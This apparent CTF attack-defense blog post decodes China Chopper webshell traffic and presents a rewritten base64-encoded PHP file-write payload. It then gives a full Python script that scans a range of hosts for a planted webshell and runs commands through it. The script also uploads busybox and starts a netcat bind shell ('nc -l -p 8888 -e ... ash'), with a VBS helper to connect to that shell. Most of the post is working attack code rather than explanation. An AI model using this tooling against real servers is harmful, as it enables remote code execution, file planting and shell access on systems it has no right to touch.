ctf之AWD(3)_重寫菜刀

ctf之AWD(3)_重寫菜刀

原理

多次post

cmd=@eval(base64_decode($_POST[z0]));
#cmd爲原密碼,z0爲新密碼

wireshark抓包分析

菜刀2011

post數據分析

&cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
&z1=QzpcXFVzZXJzXFxhZG1pbjFcXERlc2t0b3BcXHBocHNcXFdXV1xcdGVzdC50eHQ%3D&z2=61733132333435360D0A6173313233343536

cmd= z0= z1= url和base64解碼

cmd=@eval(base64_decode($_POST[z0]));
z0=
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
z1=C:\\Users\\admin1\\Desktop\\phps\\WWW\\test.txt
z2內容:
as123456
as123456

z0 簡化

@ini_set("display_errors","0");
@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

z0 -> php寫文件 z1 -> 遠程文件名 z2 - > 本地文件內容

0x61 = 97
chr(97) = 'a'

解決菜刀2011在ubuntu上不可用

查看/var/log/apache2/error.log ,發現是 @set_magic_quotes_runtime(0);出錯,這個只在php < 5.3時有效

重新寫php字符串

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

細節要點

  • @eval後要加控制符SOH0x01

  • 由於標準的Base64編碼後可能出現字符+/,在URL中就不能直接作爲參數,所以又有一種"url safe"的base64編碼,其實就是把字符+和/分別變成-_ ,notepad++省略== ,base64.urlsafe_b64decode(base64_url)

  • z2 - > 文件內容, 文件內容要將字母轉成大寫,並按字節對齊python3讀取二進制文件要將0x去掉

from attack_tool import convertToHex
#convertToHex 讀取二進制文件並轉成字符串
0x10之前的ascii去掉`0x`後要按字節對齊,在字母前面添加'0'
eg:    ord('\n') = 10   hex(10) = '0xa'  對齊後: '0A'

python3源碼

#attack_utils.py

#coding:utf-8
import requests
import queue
from urllib.parse import unquote,quote
from attack_tool import convertToHex
import os
import subprocess
import sys
import time
import re

# print('\033[1;32;40m綠色,黑色背景 \033[0m顏色不顯示')
# print('\033[1;31;40m紅色,黑色背景 \033[0m顏色不顯示')

HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}

POST_FLAG_HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}

URI = '/.index.php'
POST_FLAG_URL = "http://192.168.100.1/"
PORTS = ['80', '81', '82']

COLOR_GREEN = '\033[1;32;40m'
COLOR_RED = '\033[1;31;40m'
COLOR_NONE = '\033[0m'

#raw_data = 'system("curl http://192.168.100.1/Getkey");'
#RAW_CMD = 'system("curl ip.sb");'       #ip.gs
RAW_CMD = 'system("ls /tmp;file /tmp/busybox");'
RAW_NC = 'system("chmod 777 /tmp/busybox;/tmp/busybox nc -l -p 8888 -e /tmp/busybox ash");'

PASSWORD = '1234'

PASSWORD_DATA_CMD = 'pass=' + PASSWORD + '&a=' + quote(RAW_CMD)
PASSWORD_DATA_UPLOAD = 'pass=' + PASSWORD + '&a='
PASSWORD_DATA_NC = 'pass=' + PASSWORD + '&a=' + quote(RAW_NC)

PHP_CODE = '%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B'

LFILE_BUSYBOX = 'd:/busybox.txt'        #'ZDovYnVzeWJveC50eHQ'
RFILE_BUSYBOX = 'L3RtcC9idXN5Ym94'      #/tmp/busybox

# z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D'

z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiLT58Iik7OyRmPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskYz0kX1BPU1RbInoyIl07JGM9c3RyX3JlcGxhY2UoIlxyIiwiIiwkYyk7JGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7JGJ1Zj0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJGMpOyRpKz0yKSRidWYuPXVybGRlY29kZSgiJSIuc3Vic3RyKCRjLCRpLDIpKTtlY2hvKEBmd3JpdGUoZm9wZW4oJGYsInciKSwkYnVmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7%3D%3D'

z0_str_2011 = '''@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();'''

'''
 #@eval(base64_decode($_POST[z0]));&z0=z0_str_2011
 z1:rfile
 z2:lfile
z0_str -> base64 -> urlencode : '+' -> %2B  quote('+'),末尾加%3D%3D 即==  quote('=')
'''

def url_queue(uri, p1, p2, i1, i2):
    my_url_queue = queue.Queue()
    for j in range(int(p1), int(p2)):
        for i in range(int(i1), int(i2)):
            full_url = "http://4.4." + str(i) + ".101" + ":%s" % PORTS[j] + str(uri)
            my_url_queue.put(full_url)
            # local_url = "http://192.168.232.141" + ":%s" % PORTS[j] + uri
            # local_url = "http://192.168.232.129" + ":%s" % PORTS[j] + uri
            # my_url_queue.put(local_url)
            #print(full_url)
    return my_url_queue

def check_shell(uri, p1, p2, i1, i2):
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req_get = requests.get(url=url, headers=HEADERS)
            #req_get = requests.get(url=url, headers=HEADERS, timeout=1)
            if req_get.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + url)
            else:
                print(COLOR_RED + '[-]: ' + '請求失敗')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def get_flag(uri, p1, p2, i1, i2, password):
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req_post = requests.post(url=url, data=password, headers=HEADERS)
            #req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
            if req_post.status_code == 200:
                print(COLOR_GREEN + '[+flag]: ' + req_post.text.strip() + ' : ' + url)
            else:
                print(COLOR_RED + '[-]: ' + '請求失敗')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def post_flag():
    while True:
        flag = input('input flag:')
        data = quote(flag.strip())
        if flag == 'q':
            break
        else :
            try:
                req = requests.post(url=POST_FLAG_URL, data=flag, headers=POST_FLAG_HEADERS)
                if req.status_code == 200:
                    print(COLOR_GREEN + '[+]: ' + "提交成功")
                    #print(req.text)
                else:
                    print(COLOR_RED + '[-]: ' + "提交失敗")
            except Exception as e:
                print(COLOR_RED + '[-]: ' + str(e))
                pass

def upload_file(uri, p1, p2, i1, i2, lfile, rfile):
    z1 = rfile
    try:
        f = open(lfile,'r')
        z2  = f.read()
        f.close()
        #z2 = convertToHex(lfile)
    except Exception as e:
        print(COLOR_RED + '[-]: ' + '文件打開失敗' + str(e))
        pass
    data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req = requests.post(url=url, data=data, headers=HEADERS)
            #req = requests.post(url=url, data=data, headers=HEADERS, timeout=1)
            if req.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + '上傳成功')
            else:
                print(COLOR_RED + '[-]: ' + '上傳失敗')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass


def connect_nc_shell(host, port):
    try:
        cmd_str = "nc %s %s" % (str(host), str(port))
        proc = subprocess.Popen(cmd_str, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
        proc.stdout.flush()
        proc.stdin.flush()
        line = input()
        line_byte = bytes(line, encoding='utf-8')
        while line != 'q':
            proc.stdin.write(line_byte + b'\n')
            proc.stdin.flush()

            output = proc.stdout.readline()
            output_str = str(output.decode('utf-8'))
            sys.stdout.write(output_str)

            sys.stdout.flush()
            line = input()
            line_byte = bytes(line, encoding='utf-8')
    except Exception as e:
        print(COLOR_RED + '[-]:' + str(e))
        pass

def get_nc_shell(uri, p1, p2, i1, i2, lfile, rfile):
    start = time.time()
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    z1 = rfile
    try:
        f = open(lfile, 'r')
        z2 = f.read()
        f.close()
        # z2 = convertToHex(lfile)
    except Exception as e:
        print(COLOR_RED + '[-]: ' + '文件打開失敗' + str(e))
        pass
    data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            ips = re.findall(r'\d+.\d+.\d+.\d+', url)

            # req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
            req_1 = requests.post(url=url, data=PASSWORD_DATA_CMD, headers=HEADERS)
            if req_1.status_code == 200:
                print(COLOR_GREEN + '[+flag]: ' + req_1.text.strip() + ' : ' + url)
            else:
                print(COLOR_RED + '[-]: ' + '獲取flag失敗')

            req_2 = requests.post(url=url, data=data, headers=HEADERS)
            if req_2.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + '上傳成功')
            else:
                print(COLOR_RED + '[-]: ' + '上傳失敗')

            try:
                vbs_name = ips[0] + '.vbs'
                vbs_file = open('d:/' + vbs_name, 'w')
                vbs_file.write('Set ws=CreateObject("Wscript.Shell")' + '\n')
                cmd_str = "cmd /c nc %s 8888" % ips[0]
                vbs_file.write('ws.run ' + '"' + cmd_str + '"')
                vbs_file.close()
            except Exception as e:
                print(COLOR_RED + '[-]:' + '寫入vbs失敗' + str(e))
                pass
            end = time.time()
            total = end - start
            print(COLOR_GREEN + '[+]: ' + '消耗 %ss' % str(total))
            req_3 = requests.post(url=url, data=PASSWORD_DATA_NC, headers=HEADERS)
            if req_3.status_code == 200:
                print(COLOR_GREEN + '[$$$]: nc '+ ips[0] + ' 8888')
            else:
                print(COLOR_RED + '[-]: ' + 'nc 請求失敗')

        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def get_password(file_pass):
    password = []
    f = open('d:/pass100.txt', 'r')
    for i in f.readlines():
        password.append(i.strip())
    f.close()

if __name__ == '__main__':
    pass
    
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章